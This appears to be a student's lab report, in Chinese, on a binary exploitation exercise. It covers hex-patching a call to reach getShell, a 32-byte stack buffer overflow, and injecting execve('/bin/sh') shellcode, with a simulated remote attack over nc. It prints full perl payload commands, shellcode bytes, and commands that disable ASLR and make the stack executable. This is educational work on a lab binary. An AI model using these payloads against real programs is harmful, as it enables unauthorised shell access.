首页 > 其他分享 >20222315 2024-2025-1 《网络与系统攻防技术》实验一实验报告

20222315 2024-2025-1 《网络与系统攻防技术》实验一实验报告

时间:2024-10-07 18:12:09浏览次数:1  
标签:x90 getShell 2024 2025 地址 pwn20222315 20222315 shellcode 输入

1.实验内容

1.掌握反汇编与十六进制编程器
2.能正确修改机器指令改变程序执行流程
3.能正确构造payload进行bof攻击

2.实验过程

1.直接修改程序机器指令,改变程序执行流程
将pwn1文件下载至kali中并将pwn1文件改名为pwn20222315,并将其内容复制到pwn2

反汇编文件objdump -d pwn20222315 | more,找到main、getshell和foo

第一列为内存地址,第二列为机器指令、第三列为机器指令对应的汇编语言。
观察main函数发现,call 跳转到了foo函数,而根据对pwn20222315文件的运行测试发现,它只会简单回显任何用户输入的字符串。根据实验要求,我们需要修改可执行文件,改变程序执行流程,直接跳转到getShell函数。这里就需要修改主函数,想办法将call foo改为call getShell。因此,需要将call 8048491中的地址8048491修改为getShell的地址804847d。
偏移量=8048491-80484ba=-41。补码表示为0xffffffd7,与第二列机器指令中的0xd7ffffff相吻合。由此可知,要想调用getShell,偏移量为0804847d(getShell函数的首地址)-80484ba=-61=0xffffff3c颠倒为计算机存储内容,为0xc3ffffff,即需要将0xd7ffffff修改为0xc3ffffff。
下面是修改过程:
vi pwn20222315打开文件后为乱码,输入:%!Xxd进入16进制编辑模式,使用/e8 d7找到要修改的地址,将d7改为c3

使用:wq命令保存退出;
反汇编objdump -d pwn20222315| more查看机器指令;

可以看到修改成功
./pwn20222315运行结果 

成功获取shell,即成功调用了getShell函数

2.通过构造输入参数,造成BOF攻击,改变程序执行流
当程序调用时,会形成自己的栈帧,foo函数读入字符串,系统只预留了28字节的缓冲区,具有Bufferoverflow漏洞,我们可以通过向这个缓冲区输入超出长度的字符串来覆盖该返回地址,使返回地址指向getshell,达到攻击目的。
由之前反汇编结果可知,正常时call调用foo,同时在堆栈上压上返回地址值0x80484ba。
原来的pwn20222315改名为pwn2,再重新上传一个pwn1文件,命名为pwn20222315
用gdb pwn20222315调试程序,确认输入字符串哪几个字符会覆盖到返回地址,过程中发现未安装gdb
使用sudo apt update和sudo apt install gdb命令安装gdb
安装完成后输入gdb,检查gdb是否安装成功

用gdb pwn2调试程序,输入字符串1111111122222222333333334444444412345678,输入命令 info r查看寄存器eip的值,发现输入的1234(十六进制0x34333231)为被覆盖到堆栈上的返回地址。那只要把这四个字符替换为 getShell 的内存地址,输给2,就会运行getShell。
通过之前的反汇编可知getshall的内存地址为0x0804847d

把1234换成getShell的地址0x0804847d,我们需要构造字符串11111111222222223333333344444444\x7d\x84\x04\x08,
输入perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input生成一个包含这些16进制内容的文件(\x0a表示回车);
使用16进制查看指令xxd input查看input文件的内容,确认无误后使用(cat input;cat) | ./pwn20222315将input中的字符串作为可执行文件的输入。

成功获取shell,即成功调用了getShell函数。

3.注入Shellcode并执行
(1)准备工作
安装execstack:
使用命令 sudo apt-get install execstack安装

提示无法找到这个execstack工具包
使用 sudo apt-get update和sudo apt-get upgrade命令更新后再进行安装execstack,但提示无法解析域名,查询资料后,将vbox的网络断开后命令成功。

通过以下命令修改设置
execstack -s pwn20222315 //设置堆栈可执行
execstack -q pwn20222315 //查询文件的堆栈是否可执行
more /proc/sys/kernel/randomize_va_space //查看地址随机化的状态
echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
more /proc/sys/kernel/randomize_va_space

(2)构造要使用的payload
Linux下有两种基本构造攻击buf的方法:
retaddr+nop+shellcode
nop+shellcode+retaddr
使用以下命令进行构造shellcode的输入(x01x02x03x04是用来占位的,后续将替换为注入shellcode的地址,也就是foo函数中return address的位置,这个地址需要我们接下来去gdb分析寻找),并将其放入名为input_shellcode的文件中:Perl -e 'print "A" x 32;print "\x01\x02\x03\x04\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00"' > input_shellcode
输入以下命令将input_shellcode的输入内容作为pwn20222315的输入:
(cat input_shellcode; cat) | ./pwn20222315
 
 
 
 新打开一个新终端,输入ps -ef | grep pwn20222315,查看pwn20222315文件的进程以及进程号。

可以看到,进程号分别为35101和35159,但是35101才是pwn文件的进程号。
此后,再在这个新终端中使用gdb进行调试,输入gdb pwn20222315,来获取foo函数中returnaddress的位置。
输入命令attach 35101,输入刚刚查找的进程号
输入命令disassemble foo,反编译foo函数并进行分析

可以看到,ret的地址为0x080484ae,因此,在这里设置断点,继续分析
输入命令break *0x080484ae
在新终端输入c,c表示continue继续运行,继续运行后,在老终端按一下enter键,否则新终端的continue将一直进行。
输入info r esp查看栈顶指针所在位置,如下图可知栈顶指针所在的位置为0xffffcfdc;
使用x/16x 0xffffcfdc命令查看该地址处的存放内容,可以看到,此处出现了我们之前注入的输入0x04030201,这说明找的就是这个地址。

因此,栈顶指针地址再加4字节,就是shellcode应该处于的地址,即0xffffcfdc+4=0xffffcfe0。
现在可以进行shellcode的注入,最终获取shell。将0x04030201换成上述我们计算出来的位置0xffffcfe0,且用机器存储的方式,颠倒一下,重新进行输入。在原终端中输入perl -e 'print "A" x 32;print "\xe0\xcf\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00"' > input_shellcode,然后再输入(cat input_shellcode; cat) | ./pwn20222315,将input_shellcode的输入内容作为pwn20222315的输入。

成功获取shell,即成功调用了getShell函数。

4.结合nc模拟远程攻击
安装两台虚拟机,将两台虚拟机的网路连接方式设置为桥接网卡模式。
主机1:模拟一个有漏洞的网络服务

-l 表示listen, -p 后加端口号 -e 后加可执行文件,网络上接收的数据将作为这个程序的输入。
主机2:连接主机1并发送攻击载荷

成功获取shell,即成功调用了getShell函数,攻击成功。

3.问题及解决方案

问题1:在用vbox安装kali,使用时出现黑屏
解决方案:改用VM,并下载新的镜像包
问题2:无法安装execstack包
解决方案:将vbox的网络设置禁用后,再将模式改为nat后成功更新并安装。

4.实验体会

经过这次实验,我对缓冲区溢出的理解更为深刻,同时,在探究程序执行时堆栈变化的过程中,我掌握了三种获取shell的技巧。另外在使用Kali Linux的过程中,通过上网查询资料对Linux操作系统的语言语法有了进一步的了解,并且能够熟练运用反汇编工具和十六进制编辑器,理解了一部分汇编语言以及程序的实现步骤,还能独立进行可执行文件的反编译和修改。最终,在gdb的帮助下,我学会了如何正确构建payload进行缓冲区溢出攻击。虽然还有很多不懂的地方,但我相信随着课程的深入,我会不断学习到新知识,不断提升自己的专业水平。

参考资料

标签:x90,getShell,2024,2025,地址,pwn20222315,20222315,shellcode,输入
From: https://www.cnblogs.com/20222315-liu-xinyu/p/18450376

相关文章

  • EGOI2024 简单题解
    Day1T1InfiniteRace由于只有重复超过一个人才肯定是跑过一圈的,所以只用用一个数组做标记就可以了,每超过一次就打上标记,否则去掉标记。T2Bouquet定义\(dp[i]\)为,以第\(i\)种郁金香结尾的选法中最大可选的郁金香数量,易得状态转移方程为:\(dp[i]=max{dep[j]}+1(j<l_i\le......
  • 中国大学生程序设计竞赛(秦皇岛)正式赛东北大学秦皇岛分校(SMU Autumn 2024 Team Round 1
    中国大学生程序设计竞赛(秦皇岛)正式赛东北大学秦皇岛分校(SMUAutumn2024TeamRound1)ProblemA.贵校是构造王国吗I思路官方题解很清晰明了。代码#include<bits/stdc++.h>usingnamespacestd;#defineintlonglong#defineendl'\n'#definePIIpair<int,int>cons......
  • 多校 A 层冲刺 NOIP2024 模拟赛 03
    多校A层冲刺NOIP2024模拟赛03T1五彩斑斓(colorful)签到题直接暴力枚举是\(O(n^4)\),考虑使用\(bitset\)优化,对每个点开个\(bitset\),预处理它所在一行它及它之前相同颜色的位置,这样就只用枚举另一个点所在列,时间复杂度为\(O(n^3+\frac{n^4}{w})\)。T2错峰旅行(travel)......
  • HO引擎近况20241007
    又好几个月没更新,原因是感觉人生有点迷茫了6月这被公司裁员了8月才找到工作,还是原同事推荐的,只凭简历的话根本没可能新的公司又让我长见识了,完全不考虑程序的设计和日后的扩展及维护,只求快速出东西,俩月出一个DEMO,次留好就继续,不好就砍掉项目继续也不是重新正式开发,它没有一个......
  • Windows 11 version 24H2 & LTSC 2024 中文版、英文版 (x64、ARM64) 下载 (updated Oc
    Windows11version24H2&LTSC2024中文版、英文版(x64、ARM64)下载(updatedOct2024)Windows11,version24H2,企业版arm64x64请访问原文链接:https://sysin.org/blog/windows-11/查看最新版。原创作品,转载请保留出处。作者主页:sysin.org全新Windows体验,让您与热......
  • 20222301 2024-2025-1 《网络与系统攻防技术》实验一实验报告
    一、实验目的本次实践的对象是一个名为pwn1的linux可执行文件。该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个......
  • The 2020 ICPC Asia Shenyang Regional Programming Contest Northeastern University
    The2020ICPCAsiaShenyangRegionalProgrammingContestNortheasternUniversity(SMU2024ICPC网络赛选拔赛2)D.JourneytoUn'Goro思路队友写得,没看。代码#include<bits/stdc++.h>usingnamespacestd;typedeflonglongintll;#defineintlonglong#defineP......
  • 2024.10.7 test
    nf#33B有一棵包含\(n\)个节点的有根树,且树的高度不超过\(100\)。每次操作时可以选择一个节点\(u\),使其与父节点断开(如果有),成为一颗新树的根节点,然后删除以节点\(u\)为根的树中的所有叶节点。求删除所有节点所需的最少操作次数和通过最少次操作删除所有节点的方案数。\(n......
  • SMU Autumn 2024 Personal Round 1
    SMUAutumn2024PersonalRound1前言拉了,后面有空再补补。A.LexString思路排序后取最小,记录连续取了几个,不要超过\(k\)个即可。代码#include<bits/stdc++.h>usingnamespacestd;usingi64=longlong;voidsolve(){ intn,m,k; cin>>n>>m>>k;......
  • 2024.7.26 集训笔记
    单调栈给定一个长度为\(n\)的数列\(a\),对每个数字求出其右/左边第一个值大于等于它的数字的位置。考虑从左到右扫整个序列,维护一个栈,里面存放可能成为答案的数字,当遍历到一个新的数\(a_i\)的时候,可以发现栈中\(\leqa_i\)的数就再也不可能成为答案了,那就把它们弹掉,此时......